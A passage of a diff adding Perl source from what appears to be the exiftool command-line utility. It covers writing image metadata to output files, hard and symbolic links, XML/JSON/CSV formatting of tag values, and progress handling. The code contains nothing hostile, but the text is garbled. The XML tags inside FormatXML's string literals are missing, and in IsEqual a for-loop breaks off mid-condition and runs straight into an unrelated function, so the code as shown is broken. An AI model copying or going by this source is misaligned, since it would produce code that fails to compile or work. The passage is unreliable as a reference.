\n"; + } elsif ($xml) { + # close rdf:Description element + print $fp $outFormat < 1 ? "\n\n" : "/>\n"; + } elsif ($json) { + print $fp "\n $ket" if $lastGroup; + print $fp "\n$ket"; + $comma = 1; + } elsif ($tabFormat and $outFormat > 1) { + print $fp "$line\n" if defined $line; + } + } + } + if (defined $outfile) { + if ($textOverwrite & 0x02) { + # save state of this file if we may be appending + $outComma{$outfile} = $comma; + $outTrailer{$outfile} = ''; + $outTrailer{$outfile} .= $sectTrailer and $sectTrailer = '' if $sectTrailer; + $outTrailer{$outfile} .= $fileTrailer if $fileTrailer; + } else { + # write section and file trailers before closing the file + print $fp $sectTrailer and $sectTrailer = '' if $sectTrailer; + print $fp $fileTrailer if $fileTrailer; + } + close($fp); + undef $tmpText; + if ($lineCount) { + if ($append) { + $appended{$outfile} = 1 unless $created{$outfile}; + } else { + $created{$outfile} = 1; + } + } else { + $et->Unlink($outfile) unless $append; # don't keep empty output files + } + undef $comma; + } + ++$count; +} + +#------------------------------------------------------------------------------ +# Set information in file +# Inputs: 0) ExifTool object reference, 1) source file name +# 2) original source file name ('' to create from scratch) +# Returns: true on success +sub SetImageInfo($$$) +{ + my ($et, $file, $orig) = @_; + my ($outfile, $restored, $isTemporary, $isStdout, $outType, $tagsFromSrc); + my ($hardLink, $symLink, $testName, $sameFile); + my $infile = $file; # save infile in case we change it again + + # clean up old temporary file if necessary + if (defined $tmpFile) { + $et->Unlink($tmpFile); + undef $tmpFile; + } + # clear any existing errors or warnings since we check these on return + delete $$et{VALUE}{Error}; + delete $$et{VALUE}{Warning}; + + # first, try to determine our output file name so we can return quickly + # if it already exists (note: this test must be delayed until after we + # set tags from dynamic files if writing FileName or Directory) + if (defined $outOpt) { + if ($outOpt =~ /^-(\.\w+)?$/) { + # allow output file type to be specified with "-o -.EXT" + $outType = GetFileType($outOpt) if $1; + $outfile = '-'; + $isStdout = 1; + } else { + $outfile = FilenameSPrintf($outOpt, $orig); + if ($outfile eq '') { + Warn "Error: Can't create file with zero-length name from $orig\n"; + EFile($infile); + ++$countBadCr; + return 0; + } + } + if (not $isStdout and (($et->IsDirectory($outfile) and not $listDir) or $outfile =~ /\/$/)) { + $outfile .= '/' unless $outfile =~ /\/$/; + my $name = $file; + $name =~ s/^.*\///s; # remove directory name + $outfile .= $name; + } else { + my $srcType = GetFileType($file) || ''; + $outType or $outType = GetFileType($outfile); + if ($outType and ($srcType ne $outType or $outType eq 'ICC') and $file ne '-') { + unless (CanCreate($outType)) { + my $what = $srcType ? 'other types' : 'scratch'; + WarnOnce "Error: Can't create $outType files from $what\n"; + EFile($infile); + ++$countBadCr; + return 0; + } + if ($file ne '') { + # restore previous new values unless done already + $et->RestoreNewValues() unless $restored; + $restored = 1; + # translate to this type by setting specified tags from file + my @setTags = @tags; + foreach (@exclude) { + push @setTags, "-$_"; + } + # force some tags to be copied for certain file types + my %forceCopy = ( + ICC => 'ICC_Profile', + VRD => 'CanonVRD', + DR4 => 'CanonDR4', + ); + push @setTags, $forceCopy{$outType} if $forceCopy{$outType}; + # assume "-tagsFromFile @" unless -tagsFromFile already specified + # (%setTags won't be empty if -tagsFromFile used) + if (not %setTags or (@setTags and not $setTags{'@'})) { + return 0 unless DoSetFromFile($et, $file, \@setTags); + } elsif (@setTags) { + # add orphaned tags to existing "-tagsFromFile @" for this file only + push @setTags, @{$setTags{'@'}}; + $tagsFromSrc = \@setTags; + } + # all done with source file -- create from meta information alone + $file = ''; + } + } + } + unless ($isStdout) { + $outfile = NextUnusedFilename($outfile); + if ($et->Exists($outfile, 1) and not $doSetFileName) { + Warn "Error: '${outfile}' already exists - $infile\n"; + EFile($infile); + ++$countBadWr; + return 0; + } + } + } elsif ($file eq '-') { + $isStdout = 1; + } + # set tags from destination file if required + if (@dynamicFiles) { + # restore previous values if necessary + $et->RestoreNewValues() unless $restored; + my ($dyFile, %setTagsIndex); + foreach $dyFile (@dynamicFiles) { + if (not ref $dyFile) { + my ($fromFile, $setTags); + if ($dyFile eq '@') { + $fromFile = $orig; + $setTags = $tagsFromSrc || $setTags{$dyFile}; + } else { + $fromFile = FilenameSPrintf($dyFile, $orig); + defined $fromFile or EFile($infile), ++$countBadWr, return 0; + $setTags = $setTags{$dyFile}; + } + # do we have multiple -tagsFromFile options with this file? + if ($setTagsList{$dyFile}) { + # use the tags set in the i-th occurrence + my $i = $setTagsIndex{$dyFile} || 0; + $setTagsIndex{$dyFile} = $i + 1; + $setTags = $setTagsList{$dyFile}[$i] if $setTagsList{$dyFile}[$i]; + } + # set new values values from file + return 0 unless DoSetFromFile($et, $fromFile, $setTags); + } elsif (ref $dyFile eq 'ARRAY') { + # a dynamic file containing a simple tag value + my $fname = FilenameSPrintf($$dyFile[1], $orig); + my ($buff, $rtn, $wrn); + my $opts = $$dyFile[2]; + if (defined $fname and SlurpFile($fname, \$buff)) { + $verbose and print $vout "Reading $$dyFile[0] from $fname\n"; + ($rtn, $wrn) = $et->SetNewValue($$dyFile[0], $buff, %$opts); + $wrn and Warn "$wrn\n"; + } + # remove this tag if we couldn't set it properly + $rtn or $et->SetNewValue($$dyFile[0], undef, Replace => 2, + ProtectSaved => $$opts{ProtectSaved}); + next; + } elsif (ref $dyFile eq 'SCALAR') { + # set new values from CSV or JSON database + my ($f, $found, $tag); + undef $evalWarning; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + # force UTF-8 if the database was JSON + my $old = $et->Options('Charset'); + $et->Options(Charset => 'UTF8') if $csv eq 'JSON'; + # read tags for SourceFile '*' plus the specific file + foreach $f ('*', MyConvertFileName($et, $file)) { + my $csvInfo = $database{$f}; + unless ($csvInfo) { + next if $f eq '*'; + # check absolute path + # (punt on using ConvertFileName here, so $absPath may be a mix of encodings) + my $absPath = AbsPath($f); + next unless defined $absPath and $csvInfo = $database{$absPath}; + } + $found = 1; + $verbose and print $vout "Setting new values from $csv database\n"; + foreach $tag (sort keys %$csvInfo) { + next if $tag =~ /\b(SourceFile|Directory|FileName)$/i; # don't write these + my ($rtn, $wrn) = $et->SetNewValue($tag, $$csvInfo{$tag}, + Protected => 1, AddValue => $csvAdd, + ProtectSaved => $csvSaveCount); + $wrn and Warn "$wrn\n" if $verbose; + } + } + $et->Options(Charset => $old) if $csv eq 'JSON'; + unless ($found) { + Warn("No SourceFile '${file}' in imported $csv database\n"); + my $absPath = AbsPath($file); + Warn("(full path: '${absPath}')\n") if defined $absPath and $absPath ne $file; + return 0; + } + } + } + } + if ($isStdout) { + # write to STDOUT + $outfile = \*STDOUT; + unless ($binaryStdout) { + binmode(STDOUT); + $binaryStdout = 1; + } + } else { + # get name of hard link if we are creating one + $hardLink = $et->GetNewValues('HardLink'); + $symLink = $et->GetNewValues('SymLink'); + $testName = $et->GetNewValues('TestName'); + $hardLink = FilenameSPrintf($hardLink, $orig) if defined $hardLink; + $symLink = FilenameSPrintf($symLink, $orig) if defined $symLink; + # determine what our output file name should be + my $newFileName = $et->GetNewValues('FileName'); + my $newDir = $et->GetNewValues('Directory'); + if (defined $newFileName and not length $newFileName) { + Warning($et,"New file name is empty - $infile"); + undef $newFileName; + } + if (defined $testName) { + my $err; + $err = "You shouldn't write FileName or Directory with TestFile" if defined $newFileName or defined $newDir; + $err = "The -o option shouldn't be used with TestFile" if defined $outfile; + $err and Warn("Error: $err - $infile\n"), EFile($infile), ++$countBadWr, return 0; + $testName = FilenameSPrintf($testName, $orig); + $testName = Image::ExifTool::GetNewFileName($file, $testName) if $file ne ''; + } + if (defined $newFileName or defined $newDir or ($doSetFileName and defined $outfile)) { + if ($newFileName) { + $newFileName = FilenameSPrintf($newFileName, $orig); + if (defined $outfile) { + $outfile = Image::ExifTool::GetNewFileName($file, $outfile) if $file ne ''; + $outfile = Image::ExifTool::GetNewFileName($outfile, $newFileName); + } elsif ($file ne '') { + $outfile = Image::ExifTool::GetNewFileName($file, $newFileName); + } + } + if ($newDir) { + $newDir = FilenameSPrintf($newDir, $orig); + $outfile = Image::ExifTool::GetNewFileName(defined $outfile ? $outfile : $file, $newDir); + } + $outfile = NextUnusedFilename($outfile, $infile); + if ($et->Exists($outfile, 1)) { + if ($infile eq $outfile) { + undef $outfile; # not changing the file name after all + # (allow for case-insensitive filesystems) + } elsif ($et->IsSameFile($infile, $outfile)) { + $sameFile = $outfile; # same file, but the name has a different case + } else { + Warn "Error: '${outfile}' already exists - $infile\n"; + EFile($infile); + ++$countBadWr; + return 0; + } + } + } + if (defined $outfile) { + defined $verbose and print $vout "'${infile}' --> '${outfile}'\n"; + # create output directory if necessary + CreateDirectory($outfile); + # set temporary file (automatically erased on abnormal exit) + $tmpFile = $outfile if defined $outOpt; + } + unless (defined $tmpFile) { + # count the number of tags and pseudo-tags we are writing + my ($numSet, $numPseudo) = $et->CountNewValues(); + if ($numSet != $numPseudo and $et->IsDirectory($file)) { + print $vout "Can't write real tags to a directory - $infile\n" if defined $verbose; + $numSet = $numPseudo; + } + if ($et->Exists($file)) { + unless ($numSet) { + # no need to write if no tags set + print $vout "Nothing changed in $file\n" if defined $verbose; + EFile($infile, 1); + ++$countSameWr; + return 1; + } + } elsif (CanCreate($file)) { + if ($numSet == $numPseudo) { + # no need to write if no real tags + Warn("Error: Nothing to write - $file\n"); + EFile($infile, 1); + ++$countBadWr; + return 0; + } + unless (defined $outfile) { + # create file from scratch + $outfile = $file; + $file = ''; + } + } else { + # file doesn't exist, and we can't create it + Warn "Error: File not found - $file\n"; + EFile($infile); + FileNotFound($file); + ++$countBadWr; + return 0; + } + # quickly rename file and/or set file date if this is all we are doing + if ($numSet == $numPseudo) { + my ($r0, $r1, $r2, $r3) = (0, 0, 0, 0); + if (defined $outfile) { + $r0 = $et->SetFileName($file, $outfile); + $file = $$et{NewName} if $r0 > 0; # continue with new name if changed + } + unless ($r0 < 0) { + $r1 = $et->SetFileModifyDate($file,undef,'FileCreateDate'); + $r2 = $et->SetFileModifyDate($file); + $r3 = $et->SetSystemTags($file); + } + if ($r0 > 0 or $r1 > 0 or $r2 > 0 or $r3 > 0) { + EFile($infile, 3); + ++$countGoodWr; + } elsif ($r0 < 0 or $r1 < 0 or $r2 < 0 or $r3 < 0) { + EFile($infile); + ++$countBadWr; + return 0; + } else { + EFile($infile, 1); + ++$countSameWr; + } + if (defined $hardLink or defined $symLink or defined $testName) { + DoHardLink($et, $file, $hardLink, $symLink, $testName); + } + return 1; + } + if (not defined $outfile or defined $sameFile) { + # write to a truly temporary file + $outfile = "${file}_exiftool_tmp"; + if ($et->Exists($outfile)) { + Warn("Error: Temporary file already exists: $outfile\n"); + EFile($infile); + ++$countBadWr; + return 0; + } + $isTemporary = 1; + } + # new output file is temporary until we know it has been written properly + $tmpFile = $outfile; + } + } + # rewrite the file + my $success = $et->WriteInfo(Infile($file), $outfile, $outType); + + # create hard link if specified + if ($success and (defined $hardLink or defined $symLink or defined $testName)) { + my $src = defined $outfile ? $outfile : $file; + DoHardLink($et, $src, $hardLink, $symLink, $testName); + } + + # get file time if preserving it + my ($aTime, $mTime, $cTime, $doPreserve); + $doPreserve = $preserveTime unless $file eq ''; + if ($doPreserve and $success) { + ($aTime, $mTime, $cTime) = $et->GetFileTime($file); + # don't override date/time values written by the user + undef $cTime if $$et{WRITTEN}{FileCreateDate}; + if ($$et{WRITTEN}{FileModifyDate} or $doPreserve == 2) { + if (defined $cTime) { + undef $aTime; # only preserve FileCreateDate + undef $mTime; + } else { + undef $doPreserve; # (nothing to preserve) + } + } + } + + if ($success == 1) { + # preserve the original file times + if (defined $tmpFile) { + if ($et->Exists($file)) { + $et->SetFileTime($tmpFile, $aTime, $mTime, $cTime) if $doPreserve; + if ($isTemporary) { + # preserve original file attributes if possible + $et->CopyFileAttrs($file, $outfile); + # move original out of the way + my $original = "${file}_original"; + if (not $overwriteOrig and not $et->Exists($original)) { + # rename the file and check again to be sure the file doesn't exist + # (in case, say, the filesystem truncated the file extension) + if (not $et->Rename($file, $original) or $et->Exists($file)) { + Error "Error renaming $file\n"; + return 0; + } + } + my $dstFile = defined $sameFile ? $sameFile : $file; + if ($overwriteOrig > 1) { + # copy temporary file over top of original to preserve attributes + my ($err, $buff); + my $newFile = $tmpFile; + $et->Open(\*NEW_FILE, $newFile) or Error("Error opening $newFile\n"), return 0; + binmode(NEW_FILE); + + #.......................................................... + # temporarily disable CTRL-C during this critical operation + $critical = 1; + undef $tmpFile; # handle deletion of temporary file ourself + if ($et->Open(\*ORIG_FILE, $file, '+<')) { + binmode(ORIG_FILE); + while (read(NEW_FILE, $buff, 65536)) { + print ORIG_FILE $buff or $err = 1; + } + close(NEW_FILE); + # Handle files being shorter than the original + eval { truncate(ORIG_FILE, tell(ORIG_FILE)) } or $err = 1; + close(ORIG_FILE) or $err = 1; + if ($err) { + Warn "Couldn't overwrite in place - $file\n"; + unless ($et->Rename($newFile, $file) or + ($et->Unlink($file) and $et->Rename($newFile, $file))) + { + Error("Error renaming $newFile to $file\n"); + undef $critical; + SigInt() if $interrupted; + return 0; + } + } else { + $et->SetFileModifyDate($file, $cTime, 'FileCreateDate', 1); + $et->SetFileModifyDate($file, $mTime, 'FileModifyDate', 1); + $et->Unlink($newFile); + if ($doPreserve) { + $et->SetFileTime($file, $aTime, $mTime, $cTime); + # save time to set it later again to patch OS X 10.6 bug + $preserveTime{$file} = [ $aTime, $mTime, $cTime ]; + } + } + EFile($infile, 3); + ++$countGoodWr; + } else { + close(NEW_FILE); + Warn "Error opening $file for writing\n"; + EFile($infile); + $et->Unlink($newFile); + ++$countBadWr; + } + undef $critical; # end critical section + SigInt() if $interrupted; # issue delayed SIGINT if necessary + #.......................................................... + + # simply rename temporary file to replace original + # (if we didn't already rename it to add "_original") + } elsif ($et->Rename($tmpFile, $dstFile)) { + EFile($infile, 3); + ++$countGoodWr; + } else { + my $newFile = $tmpFile; + undef $tmpFile; # (avoid deleting file if we get interrupted) + # unlink may fail if already renamed or no permission + if (not $et->Unlink($file)) { + Warn "Error renaming temporary file to $dstFile\n"; + EFile($infile); + $et->Unlink($newFile); + ++$countBadWr; + # try renaming again now that the target has been deleted + } elsif (not $et->Rename($newFile, $dstFile)) { + Warn "Error renaming temporary file to $dstFile\n"; + EFile($infile); + # (don't delete tmp file now because it is all we have left) + ++$countBadWr; + } else { + EFile($infile, 3); + ++$countGoodWr; + } + } + } elsif ($overwriteOrig) { + # erase original file + EFile($infile, 3); + $et->Unlink($file) or Warn "Error erasing original $file\n"; + ++$countGoodWr; + } else { + EFile($infile, 4); + ++$countGoodCr; + } + } else { + # this file was created from scratch, not edited + EFile($infile, 4); + ++$countGoodCr; + } + } else { + EFile($infile, 3); + ++$countGoodWr; + } + } elsif ($success) { + EFile($infile, 1); + if ($isTemporary) { + # just erase the temporary file since no changes were made + $et->Unlink($tmpFile); + ++$countSameWr; + } else { + $et->SetFileTime($outfile, $aTime, $mTime, $cTime) if $doPreserve; + if ($overwriteOrig) { + $et->Unlink($file) or Warn "Error erasing original $file\n"; + } + ++$countCopyWr; + } + print $vout "Nothing changed in $file\n" if defined $verbose; + } else { + EFile($infile); + $et->Unlink($tmpFile) if defined $tmpFile; + ++$countBadWr; + } + undef $tmpFile; + return $success; +} + +#------------------------------------------------------------------------------ +# Make hard link and handle TestName if specified +# Inputs: 0) ExifTool ref, 1) source file name, 2) HardLink name, +# 3) SymLink name, 4) TestFile name +sub DoHardLink($$$$$) +{ + my ($et, $src, $hardLink, $symLink, $testName) = @_; + if (defined $hardLink) { + $hardLink = NextUnusedFilename($hardLink); + if ($et->SetFileName($src, $hardLink, 'Link') > 0) { + $countLink{Hard} = ($countLink{Hard} || 0) + 1; + } else { + $countLink{BadHard} = ($countLink{BadHard} || 0) + 1; + } + } + if (defined $symLink) { + $symLink = NextUnusedFilename($symLink); + if ($et->SetFileName($src, $symLink, 'SymLink') > 0) { + $countLink{Sym} = ($countLink{Sym} || 0) + 1; + } else { + $countLink{BadSym} = ($countLink{BadSym} || 0) + 1; + } + } + if (defined $testName) { + $testName = NextUnusedFilename($testName, $src); + if ($usedFileName{$testName}) { + $et->Warn("File '${testName}' would exist"); + } elsif ($et->SetFileName($src, $testName, 'Test', $usedFileName{$testName}) == 1) { + $usedFileName{$testName} = 1; + $usedFileName{$src} = 0; + } + } +} + +#------------------------------------------------------------------------------ +# Clean string for XML (also removes invalid control chars and malformed UTF-8) +# Inputs: 0) string ref +# Returns: nothing, but input string is escaped +sub CleanXML($) +{ + my $strPt = shift; + # translate control characters that are invalid in XML + $$strPt =~ tr/\0-\x08\x0b\x0c\x0e-\x1f/./; + # fix malformed UTF-8 characters + Image::ExifTool::XMP::FixUTF8($strPt) unless $altEnc; + # escape necessary characters for XML + $$strPt = Image::ExifTool::XMP::EscapeXML($$strPt); +} + +#------------------------------------------------------------------------------ +# Encode string for XML +# Inputs: 0) string ref +# Returns: encoding used (and input string is translated) +sub EncodeXML($) +{ + my $strPt = shift; + if ($$strPt =~ /[\0-\x08\x0b\x0c\x0e-\x1f]/ or + (not $altEnc and Image::ExifTool::IsUTF8($strPt) < 0)) + { + # encode binary data and non-UTF8 with special characters as base64 + $$strPt = Image::ExifTool::XMP::EncodeBase64($$strPt); + # #ATV = Alexander Vonk, private communication + return 'http://www.w3.org/2001/XMLSchema#base64Binary'; #ATV + } elsif ($escapeHTML) { + $$strPt = Image::ExifTool::HTML::EscapeHTML($$strPt, $altEnc); + } else { + $$strPt = Image::ExifTool::XMP::EscapeXML($$strPt); + } + return ''; # not encoded +} + +#------------------------------------------------------------------------------ +# Format value for XML output +# Inputs: 0) value, 1) indentation, 2) group +# Returns: formatted value +sub FormatXML($$$) +{ + local $_; + my ($val, $ind, $grp) = @_; + my $gt = '>'; + if (ref $val eq 'ARRAY') { + # convert ARRAY into an rdf:Bag + my $val2 = "\n$ind "; + foreach (@$val) { + $val2 .= "\n$ind "; + } + $val = "$val2\n$ind \n$ind"; + } elsif (ref $val eq 'HASH') { + $gt = " rdf:parseType='Resource'>"; + my $val2 = ''; + my @keys = $$val{_ordered_keys_} ? @{$$val{_ordered_keys_}} : sort keys %$val; + foreach (@keys) { + # (some variable-namespace XML structure fields may have a different group) + my ($ns, $tg) = ($grp, $_); + if (/^(.*?):(.*)/) { + if ($grp eq 'JSON') { + $tg =~ tr/:/_/; # colons in JSON structure elements are not namespaces + } else { + ($ns, $tg) = ($1, $2); + } + } + # validate XML attribute name + my $name; + foreach $name ($ns, $tg) { + # make sure name is valid for XML + $name =~ tr/-_A-Za-z0-9.//dc; + $name = '_' . $name if $name !~ /^[_A-Za-z]/; + } + my $tok = $ns . ':' . $tg; + $val2 .= "\n$ind <$tok" . FormatXML($$val{$_}, "$ind ", $grp) . ""; + } + $val = "$val2\n$ind"; + } else { + # (note: SCALAR reference should have already been converted) + my $enc = EncodeXML(\$val); + $gt = " rdf:datatype='${enc}'>\n" if $enc; #ATV + } + return $gt . $val; +} + +#------------------------------------------------------------------------------ +# Escape string for JSON or PHP +# Inputs: 0) string, 1) flag to force numbers to be quoted too +# Returns: Escaped string (quoted if necessary) +sub EscapeJSON($;$) +{ + my ($str, $quote) = @_; + unless ($quote) { + # JSON boolean (true or false) + return lc($str) if $str =~ /^(true|false)$/i and $json < 2; + # JSON/PHP number (see json.org for numerical format) + # return $str if $str =~ /^-?(\d|[1-9]\d+)(\.\d+)?(e[-+]?\d+)?$/i; + # (these big numbers caused problems for some JSON parsers, so be more conservative) + return $str if $str =~ /^-?(\d|[1-9]\d{1,14})(\.\d{1,16})?(e[-+]?\d{1,3})?$/i; + } + # encode JSON string in base64 if necessary + if ($json < 2 and defined $binaryOutput and Image::ExifTool::IsUTF8(\$str) < 0) { + return '"base64:' . Image::ExifTool::XMP::EncodeBase64($str, 1) . '"'; + } + # escape special characters + $str =~ s/(["\t\n\r\\])/\\$jsonChar{$1}/sg; + if ($json < 2) { # JSON + $str =~ tr/\0//d; # remove all nulls + # escape other control characters with \u + $str =~ s/([\0-\x1f])/sprintf("\\u%.4X",ord $1)/sge; + # JSON strings must be valid UTF8 + Image::ExifTool::XMP::FixUTF8(\$str) unless $altEnc; + } else { # PHP + $str =~ s/\0+$// unless $isBinary; # remove trailing nulls unless binary + # must escape "$" too for PHP + $str =~ s/\$/\\\$/sg; + # escape other control characters with \x + $str =~ s/([\0-\x1f])/sprintf("\\x%.2X",ord $1)/sge; + } + return '"' . $str . '"'; # return the quoted string +} + +#------------------------------------------------------------------------------ +# Print JSON or PHP value +# Inputs: 0) file reference, 1) value, 2) indentation +sub FormatJSON($$$) +{ + local $_; + my ($fp, $val, $ind) = @_; + my $comma; + if (not ref $val) { + print $fp EscapeJSON($val); + } elsif (ref $val eq 'ARRAY') { + if ($joinLists and not ref $$val[0]) { + print $fp EscapeJSON(join $listSep, @$val); + } else { + my ($bra, $ket) = $json == 1 ? ('[',']') : ('Array(',')'); + print $fp $bra; + foreach (@$val) { + print $fp ',' if $comma; + FormatJSON($fp, $_, $ind); + $comma = 1, + } + print $fp $ket, + } + } elsif (ref $val eq 'HASH') { + my ($bra, $ket, $sep) = $json == 1 ? ('{','}',':') : ('Array(',')',' =>'); + print $fp $bra; + my @keys = $$val{_ordered_keys_} ? @{$$val{_ordered_keys_}} : sort keys %$val; + foreach (@keys) { + print $fp ',' if $comma; + my $key = EscapeJSON($_, 1); + print $fp qq(\n$ind $key$sep ); + # hack to force decimal id's to be printed as strings with -H + if ($showTagID and $_ eq 'id' and $showTagID eq 'H' and $$val{$_} =~ /^\d+\.\d+$/) { + print $fp qq{"$$val{$_}"}; + } else { + FormatJSON($fp, $$val{$_}, "$ind "); + } + $comma = 1, + } + print $fp "\n$ind$ket", + } else { + # (note: SCALAR reference should have already been converted) + print $fp '""'; + } +} + +#------------------------------------------------------------------------------ +# Format value for CSV file +# Inputs: value +# Returns: value quoted if necessary +sub FormatCSV($) +{ + my $val = shift; + # check for valid encoding if the Charset option was used + if ($setCharset and ($val =~ /[^\x09\x0a\x0d\x20-\x7e\x80-\xff]/ or + ($setCharset eq 'UTF8' and Image::ExifTool::IsUTF8(\$val) < 0))) + { + $val = 'base64:' . Image::ExifTool::XMP::EncodeBase64($val, 1); + } + # currently, there is a chance that the value may contain NULL characters unless + # the -b option is used to encode as Base64. It is unclear whether or not this + # is valid CSV, but some readers may not like it. (If this becomes a problem, + # in the future values may need to be truncated at the first NULL character.) + $val = qq{"$val"} if $val =~ s/"/""/g or $val =~ /(^\s+|\s+$)/ or $val =~ /[\n\r]|\Q$csvDelim/; + return $val; +} + +#------------------------------------------------------------------------------ +# Print accumulated CSV information +sub PrintCSV() +{ + my ($file, $lcTag, @tags); + + @csvTags or @csvTags = sort keys %csvTags; + # make a list of tags actually found + foreach $lcTag (@csvTags) { + push @tags, FormatCSV($csvTags{$lcTag}) if $csvTags{$lcTag}; + } + print join($csvDelim, 'SourceFile', @tags), "\n"; + my $empty = defined($forcePrint) ? $forcePrint : ''; + foreach $file (@csvFiles) { + my @vals = (FormatCSV($file)); # start with full file name + my $csvInfo = $database{$file}; + foreach $lcTag (@csvTags) { + next unless $csvTags{$lcTag}; + my $val = $$csvInfo{$lcTag}; + defined $val or push(@vals,$empty), next; + push @vals, FormatCSV($val); + } + print join($csvDelim, @vals), "\n"; + } +} + +#------------------------------------------------------------------------------ +# Add tag groups from structure fields to a list for xmlns +# Inputs: 0) tag value, 1) parent group, 2) group hash ref, 3) group list ref +sub AddGroups($$$$) +{ + my ($val, $grp, $groupHash, $groupList) = @_; + my ($key, $val2); + if (ref $val eq 'HASH') { + foreach $key (sort keys %$val) { + if ($key =~ /^(.*?):/ and not $$groupHash{$1} and $grp ne 'JSON') { + $$groupHash{$1} = $grp; + push @$groupList, $1; + } + AddGroups($$val{$key}, $grp, $groupHash, $groupList) if ref $$val{$key}; + } + } elsif (ref $val eq 'ARRAY') { + foreach $val2 (@$val) { + AddGroups($val2, $grp, $groupHash, $groupList) if ref $val2; + } + } +} + +#------------------------------------------------------------------------------ +# Convert binary data (SCALAR references) for printing +# Inputs: 0) object reference +# Returns: converted object, or undef if we don't want binary objects +sub ConvertBinary($) +{ + my $obj = shift; + my ($key, $val); + if (ref $obj eq 'HASH') { + foreach $key (keys %$obj) { + next unless ref $$obj{$key}; + $$obj{$key} = ConvertBinary($$obj{$key}); + return undef unless defined $$obj{$key}; + } + } elsif (ref $obj eq 'ARRAY') { + foreach $val (@$obj) { + next unless ref $val; + $val = ConvertBinary($val); + return undef unless defined $val; + } + } elsif (ref $obj eq 'SCALAR') { + return undef if $noBinary; + # (binaryOutput flag is set to 0 for binary mode of XML/PHP/JSON output formats) + if (defined $binaryOutput) { + $obj = $$obj; + # encode in base64 if necessary (0xf7 allows for up to 21-bit UTF-8 code space) + if ($json == 1 and ($obj =~ /[^\x09\x0a\x0d\x20-\x7e\x80-\xf7]/ or + Image::ExifTool::IsUTF8(\$obj) < 0)) + { + $obj = 'base64:' . Image::ExifTool::XMP::EncodeBase64($obj, 1); + } + } else { + # (-b is not valid for HTML output) + my $bOpt = $html ? '' : ', use -b option to extract'; + if ($$obj =~ /^Binary data \d+ bytes$/) { + $obj = "($$obj$bOpt)"; + } else { + $obj = '(Binary data ' . length($$obj) . " bytes$bOpt)"; + } + } + } + return $obj; +} + +#------------------------------------------------------------------------------ +# Compare ValueConv and PrintConv values of a tag to see if they are equal +# Inputs: 0) value1, 1) value2 +# Returns: true if they are equal +sub IsEqual($$) +{ + my ($a, $b) = @_; + # (scalar values are not print-converted) + return 1 if $a eq $b or ref $a eq 'SCALAR'; + if (ref $a eq 'HASH' and ref $b eq 'HASH') { + return 0 if scalar(keys %$a) != scalar(keys %$b); + my $key; + foreach $key (keys %$a) { + return 0 unless IsEqual($$a{$key}, $$b{$key}); + } + } else { + return 0 if ref $a ne 'ARRAY' or ref $b ne 'ARRAY' or @$a != @$b; + my $i; + for ($i=0; $i ++$saveCount }, "TagsFromFile=$setFile"; + # add option to protect the tags which are assigned after this + # (this is the mechanism by which the command-line order-of-operations is preserved) + $opts or $opts = { }; + $$opts{ProtectSaved} = $saveCount; + push @{$setTags{$setFile}}, $opts; +} + +#------------------------------------------------------------------------------ +# Get input file name or reference for calls to the ExifTool API +# Inputs: 0) file name ('-' for STDIN), 1) flag to buffer STDIN +# Returns: file name, or RAF reference for buffering STDIN +sub Infile($;$) +{ + my ($file, $bufferStdin) = @_; + if ($file eq '-' and ($bufferStdin or $rafStdin)) { + if ($rafStdin) { + $rafStdin->Seek(0); # rewind + } elsif (open RAF_STDIN, '-') { + $rafStdin = File::RandomAccess->new(\*RAF_STDIN); + $rafStdin->BinMode(); + } + return $rafStdin if $rafStdin; + } + return $file; +} + +#------------------------------------------------------------------------------ +# Issue warning to stderr, adding leading "Warning: " and trailing newline +# if the warning isn't suppressed by the API NoWarning option +# Inputs: 0) ExifTool ref, 1) warning string +sub Warning($$) +{ + my ($et, $str) = @_; + my $noWarn = $et->Options('NoWarning'); + if (not defined $noWarn or not eval { $str =~ /$noWarn/ }) { + Warn "Warning: $str\n"; + } +} + +#------------------------------------------------------------------------------ +# Set new values from file +# Inputs: 0) ExifTool ref, 1) filename, 2) reference to list of values to set +# Returns: 0 on error (and increments $countBadWr) +sub DoSetFromFile($$$) +{ + local $_; + my ($et, $file, $setTags) = @_; + $verbose and print $vout "Setting new values from $file\n"; + my $info = $et->SetNewValuesFromFile(Infile($file,1), @$setTags); + my $numSet = scalar(keys %$info); + if ($$info{Error}) { + # delete all error and warning tags + my @warns = grep /^(Error|Warning)\b/, keys %$info; + $numSet -= scalar(@warns); + # issue a warning only for the main error + my $err = $$info{Error}; + delete $$info{$_} foreach @warns; + my $noWarn = $et->Options('NoWarning'); + $$info{Warning} = $err unless defined $noWarn and eval { $err =~ /$noWarn/ }; + } elsif ($$info{Warning}) { + my $warns = 1; + ++$warns while $$info{"Warning ($warns)"}; + $numSet -= $warns; + } + PrintErrors($et, $info, $file) and EFile($file), ++$countBadWr, return 0; + Warning($et,"No writable tags set from $file") unless $numSet; + return 1; +} + +#------------------------------------------------------------------------------ +# Translate backslashes to forward slashes in filename if necessary +# Inputs: 0) Filename +# Returns: nothing, but changes filename if necessary +sub CleanFilename($) +{ + $_[0] =~ tr/\\/\// if $hasBackslash{$^O}; +} + +#------------------------------------------------------------------------------ +# Check for valid UTF-8 of a file name +# Inputs: 0) string, 1) original encoding +# Returns: 0=plain ASCII, 1=valid UTF-8, -1=invalid UTF-8 (and print warning) +sub CheckUTF8($$) +{ + my ($file, $enc) = @_; + my $isUTF8 = 0; + if ($file =~ /[\x80-\xff]/) { + $isUTF8 = Image::ExifTool::IsUTF8(\$file); + if ($isUTF8 < 0) { + if ($enc) { + Warn("Invalid filename encoding for $file\n"); + } elsif (not defined $enc) { + WarnOnce(qq{FileName encoding not specified. Use "-charset FileName=CHARSET"\n}); + } + } + } + return $isUTF8; +} + +#------------------------------------------------------------------------------ +# Set window title +# Inputs: title string or '' to reset title +sub SetWindowTitle($) +{ + my $title = shift; + if ($curTitle ne $title) { + $curTitle = $title; + if ($^O eq 'MSWin32') { + $title =~ s/([&\/\?:|"<>])/^$1/g; # escape special chars + eval { system qq{title $title} }; + } else { + # (this only works for XTerm terminals, and STDERR must go to the console) + printf STDERR "\033]0;%s\007", $title; + } + } +} + +#------------------------------------------------------------------------------ +# Process files in our @files list +# Inputs: 0) ExifTool ref, 1) list ref to just return full file names +sub ProcessFiles($;$) +{ + my ($et, $list) = @_; + my $enc = $et->Options('CharsetFileName'); + my $file; + foreach $file (@files) { + $et->Options(CharsetFileName => 'UTF8') if $utf8FileName{$file}; + if (defined $progressMax) { + unless (defined $progressNext) { + $progressNext = $progressCount + $progressIncr; + $progressNext -= $progressNext % $progressIncr; # (show even multiples) + $progressNext = $progressMax if $progressNext > $progressMax; + } + 